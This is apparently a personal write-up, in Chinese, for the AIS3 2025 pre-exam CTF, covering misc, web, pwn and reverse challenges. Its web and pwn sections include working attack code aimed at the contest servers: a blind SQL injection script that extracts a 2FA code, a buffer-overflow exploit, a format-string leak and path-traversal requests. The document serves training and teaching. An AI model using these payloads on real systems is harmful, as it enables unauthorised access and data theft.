# AIS3 2025 pre-exam writeup ![pre-exam_2025_rank_personal_mobile](https://hackmd.io/_uploads/r1rnTlNGgx.png) ## Misc ### Welcome ![圖片](https://hackmd.io/_uploads/H1xkvN7Geg.png) 可以手打 > flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}` ### Ramen CTF ![圖片](https://hackmd.io/_uploads/B1t0axEGlg.png) ![chal](https://hackmd.io/_uploads/SydM4-4feg.jpg) 統一編號 3478592 通靈? https://www.etax.nat.gov.tw/etwmain/etw113w1/ban/query 平和溫泉拉麵店 QRCODE -> 蝦拉 ``` MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉 ``` https://www.einvoice.nat.gov.tw/static/ptl/ein_upload/attachments/1479449792874_0.6(20161115).pdf - 編號:MF16879911 - 日期:1140413 - 隨機碼:70950 - 統一編號:34785923 https://www.einvoice.nat.gov.tw/portal/btc/audit/btc601w/search ![圖片](https://hackmd.io/_uploads/Bk32NZNzxl.png) > flag: `AIS3{樂山溫泉拉麵:蝦拉麵}` ### AIS3 Tiny Server - Web / Misc ![圖片](https://hackmd.io/_uploads/Hyj-AlEMgg.png) 根據原作者的實作,會直接把 request uri 後面當作 filename 直接 open([source](https://github.com/shenfeng/tiny-web-server/blob/master/tiny.c#285))。所以我們就可以請求 `http://chals1.ais3.org:<port>//` 存取到跟目錄,再去找格式是 `/readable_flag_*` 的檔案就拿到 flag 了。 ![圖片](https://hackmd.io/_uploads/HJvuqLVMxx.png) ![圖片](https://hackmd.io/_uploads/By86q8Ezlx.png) > flag: `AIS3{tInY_weB_$erv3R_wiTH_fIL3_BR0Ws1nG_45_@_feaTur3}` ## Web ### Tomorin db 🐧 ![圖片](https://hackmd.io/_uploads/BkeBFN7Ggx.png) 這一題是一個用 go 寫的網頁程式,可以存取 `/app/Tomorin/` 底下的檔案,同時題目的 flag 就在該目錄底下。但如果是 `/flag` 就會被重新導向到 YouTube。所以我們必須想辦法繞過 go 的路徑匹配機制,存取 `/flag`。 ```go package main import "net/http" func main() { http.Handle("/", http.FileServer(http.Dir("/app/Tomorin"))) http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound) }) http.ListenAndServe(":30000", nil) } ``` 問一問 GPT 說是可以用 `%2e%2e%2fflag` 然後就拿到了,賽後測試用 `%2fflag` 也可以。 ![圖片](https://hackmd.io/_uploads/rkkjidVzge.png) > flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}` ### Login Screen 1 ![圖片](https://hackmd.io/_uploads/HypmKEXGxe.png) 夢到馬祖告訴我帳號密碼是 admin admin。 ![圖片](https://hackmd.io/_uploads/H1ex2u4Mxe.png) 登入後還會有個 2fa 認證才能拿到 flag。 ![圖片](https://hackmd.io/_uploads/r1Pf3_NMel.png) 閱讀原始碼發現 username 有 SQL 注入的可能 用盲注 brute force 出 2fa 的 code 就拿到 flag 了。 ```python import requests url = "http://login-screen.ctftime.uk:36368/index.php" code = "" for i in range(1, 20): for d in range(10): payload = f"admin' AND SUBSTR((SELECT code FROM Users WHERE username='admin'),{i},1)='{d}' --" data = { "username": payload, "password": "admin" } r = requests.post(url, data=data) if "2FA" in r.text or "Location: 2fa.php" in r.text: code += str(d) print(f"[*] {d}") break print(f"[+] Final admin code: {code}") ``` 最後可以求出 2FA 是 `5175644775348545983` ![圖片](https://hackmd.io/_uploads/BklGRu4Gll.png) > flag: `AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}` ## Pwn ### Welcome to the World of Ave Mujica🌙 ![圖片](https://hackmd.io/_uploads/SkvcF47Gle.png) ![圖片](https://hackmd.io/_uploads/HycfktEGex.png) 他會要求你輸入 buffer 的長度,然後再輸入內容。 他的長度會被限制在 127 內,但是可以用 int overflow,輸入 -1,會被當成 unsign,所以就是最大。 然後是的 bof 題目,用 cyclic 算 offset 後覆蓋 ret addr 即可。 ```python from pwn import * # type: ignore REMOTE = "chals1.ais3.org:60194" context.arch = "amd64" context.os = "linux" context.log_level = "info" def connect(): host, port = REMOTE.split(":") return remote(host, int(port)) target = 0x401256 io = connect() # script here io.recvlines(9) io.sendline(b"yes") io.recvuntil(b": ") io.sendline(b"-1") io.recvuntil(b": ") io.sendline(b"A" * 168 + p64(target)) io.recvlines(8) io.sendline(b"cat /flag") flag = io.recvline().strip() success(f"Base64 Flag: {base64.b64encode(flag).decode()}") success(f"Flag: {flag.decode()}") # AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️ (Lacrima😭🥲💦)..._06583eb14788987f57474cb8edbc8595} io.close() ``` > `AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️ (Lacrima😭🥲💦)..._06583eb14788987f57474cb8edbc8595}` ### Format Number ![圖片](https://hackmd.io/_uploads/BywjFVmzlx.png) `easy` `pwn` > Print the number in the format you like ! > > `nc chals1.ais3.org 50960` > Author : Curious 這題可以多打一個 `$` 跳脫前面的序列,然後自己構建一個 `%n$`,然後分段 dump 出來就可以了。但是中間會有很多 `\x00` 所以要替換掉才看得懂 flag。 ```python from pwn import * # type: ignore import sys BINARY = "./share/chal" REMOTE = "chals1.ais3.org:50960" DEBUG = len(sys.argv) > 1 and sys.argv[1] == "debug" context.arch = "i386" context.os = "linux" context.log_level = "info" # setup gdb scripts GDBSCRIPT = """ """ def connect(): if DEBUG: return process(BINARY) # return gdb.debug(BINARY, gdbscript=GDBSCRIPT) else: host, port = REMOTE.split(":") return remote(host, int(port)) # script here flag = b"" for i in range(20, 60): io = connect() io.recvuntil(b"? ") io.sendline(b"$$%" + str(i).encode() + b"$") io.recvuntil(b"%$$") data = int(io.recvline().strip().decode()) info(f"data: {p32(data).replace(b'\x00', b'').decode()}") flag += p32(data) # io.interactive() io.close() success(f"Flag: {flag.replace(b"\x00", b"").decode()}") ``` ## Reverse ### AIS3 Tiny Server - Reverse ![圖片](https://hackmd.io/_uploads/r19fDEmGge.png) ![圖片](https://hackmd.io/_uploads/BJdfXFVMex.png) 透過分析可以發現,在路徑處理的函式底下有兩個用來做字串比對的函式。 ![圖片](https://hackmd.io/_uploads/Sk6rQYNGeg.png) ```python key = b"rikki_l0v3" v8_byte = [ 0x58382033, 0x475C2812, 0xF2D5229, 0xE0A5A, 0x5013580F, 0x34195A19, 0x43333158, 0x5A044113, 0x2C583419, 0x3465333, 0x4A4A481E ] v8 = bytearray() for v in v8_byte: v8.extend(v.to_bytes(4, 'little')) print(f"[*] v8: {v8.hex()}") # xor with key for i in range(45): v8[i] ^= key[i % 10] print(f"[+] flag: {v8.decode()}") ``` ### web flag checker ![圖片](https://hackmd.io/_uploads/rJo5PEmfge.png) ![圖片](https://hackmd.io/_uploads/Sk-Nrt4fxg.png) 程式流程大致上是: - 輸入 flag 按下按鈕呼叫 `on_check` - `flagchecker` 呼叫 `$func8` 解密 flag 做數字比較 分析 wasm 可以發現,就只是一些 ror 的組合,但每串位移的值不一樣。解出來的 flag 不知道是不是作者在玩梗,但也 ror 一下就可以拿到 flag 了。 ```python def rotate_left(value: int, shift: int) -> int: shift %= 64 value &= (1 << 64) - 1 # 保證是 64 位 return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1) def rotate_right(value: int, shift: int) -> int: shift %= 64 value &= (1 << 64) - 1 return ((value >> shift) | (value << (64 - shift))) & ((1 << 64) - 1) def str_ror(s: str, shift: int) -> str: shift %= len(s) return s[-shift:] + s[:-shift] def str_rol(s: str, shift: int) -> str: shift %= len(s) return s[shift:] + s[:shift] hashes = [ (0x69282A668AEF666A, 13), (0x633525F4D7372337, 12), (0x9DB9A5A0DCC5DD7D, 2), (0x9833AFAFB8381A2F, 7), (0x6FAC8C8726464726, 5), ] result_str = "" for h, r in hashes: result = rotate_right(h, r) # 將 result 轉成字元陣列的字串 result_bytes = result.to_bytes(8, byteorder='little') current_str = ''.join([chr(b) for b in result_bytes]) result_str += current_str print("[+] result_str:", result_str) # {W4SAIS3 rsM_R3v3 _w17hing 4pp__g0_ 9229dd}3 flag = "" flag += str_rol(result_str[0:8], 4) flag += str_rol(result_str[8:16], 2) flag += str_rol(result_str[16:24], 5) flag += str_rol(result_str[24:32], 5) flag += str_rol(result_str[32:40], 7) print(f"[+] flag: {flag}") # AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd} ``` > flag: `AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}` ### A\_simple\_snake_game ![圖片](https://hackmd.io/_uploads/SkBQdN7zll.png) ![Screenshot 2025-05-28 210427](https://hackmd.io/_uploads/SkKZcY4zgg.png) ![圖片](https://hackmd.io/_uploads/SJpx5FVMxl.png) 在顯示文字的函式中可以找到字串解密的程式碼 ![圖片](https://hackmd.io/_uploads/B1A5KFEfee.png) ![圖片](https://hackmd.io/_uploads/HJ0hKt4fgg.png) ![圖片](https://hackmd.io/_uploads/BJ-1iYVzxe.png) ```python import struct # 原始加密整數資料 v14_values = [ 0xCE695081, 0xC1942BB5, 0xC38B136D, 0xDB0830C5, 0x774CB209, 0xED101C59, 0x48EB2058, 0x6529FECF, 0x1D9D67F7, 0xDE102EA4, 0x2866FD, ] # XOR 金鑰陣列(hex_array1) hex_array1 = [ 0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47, 0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47, 0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C, 0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F, 0x93, 0x22, 0x55, 0x15, 0x00 ] # 將整數轉為小端格式位元組 def to_signed_int32(val): return val if val < (1 << 31) else val - (1 << 32) signed_v14 = [to_signed_int32(val) for val in v14_values] encrypted_bytes = b''.join(struct.pack('<i', val) for val in signed_v14) # XOR 解密 decrypted_bytes = bytes([enc ^ key for enc, key in zip(encrypted_bytes, hex_array1)]) print("flag: ", decrypted_bytes.decode()) # AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD} ``` > flag: `AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}` ### verysafe\_image\_encrypter ![圖片](https://hackmd.io/_uploads/ByJvKEQzeg.png) ![圖片](https://hackmd.io/_uploads/Bkx03tVMxe.png) 用 PIE 看可以得知有幾個 section,但 `.Aukro` 原先是沒有東西的 ![圖片](https://hackmd.io/_uploads/HJT5htNzee.png) 程式會用走訪 export table 動態解析 API,會先從 `.Bukro` 讀取 payload,先用 xor 0x47 解密後,然後用 `RtlDecompressBuffer` 解壓縮到 `.Akuro`。接著讀取 `.ntHdr` 裡面的 NT header,解析裡面的 API。更改記憶體區域的權限後,取得 shellcode entry,呼叫過去。 用 x64dbg 把脫殼後的 exe dump 出來後,就可以找到加密圖片的部分。會發現是很簡單的 xor + shift。 ![圖片](https://hackmd.io/_uploads/Hy96kqNfge.png) ![圖片](https://hackmd.io/_uploads/SkTkl9Nfex.png) ```python def xor_decrypt_image(input_path, output_path, key=114): with open(input_path, "rb") as infile: encrypted_data = infile.read() decrypted_data = bytes([((b - 4) ^ key) & 0xFF for b in encrypted_data]) with open(output_path, "wb") as outfile: outfile.write(decrypted_data) print(f"[+] 圖片已還原並儲存為:{output_path}") # 範例使用方式 if __name__ == "__main__": input_file = "encrypted_image.png" # 請替換為你的 XOR 加密圖片路徑 output_file = "restored.png" # 還原後的輸出檔名 xor_decrypt_image(input_file, output_file) ``` ![flag](https://hackmd.io/_uploads/BktpiYVMgl.jpg) > flag: `AIS3{rwx_53gm3nttt_s0_5AS}`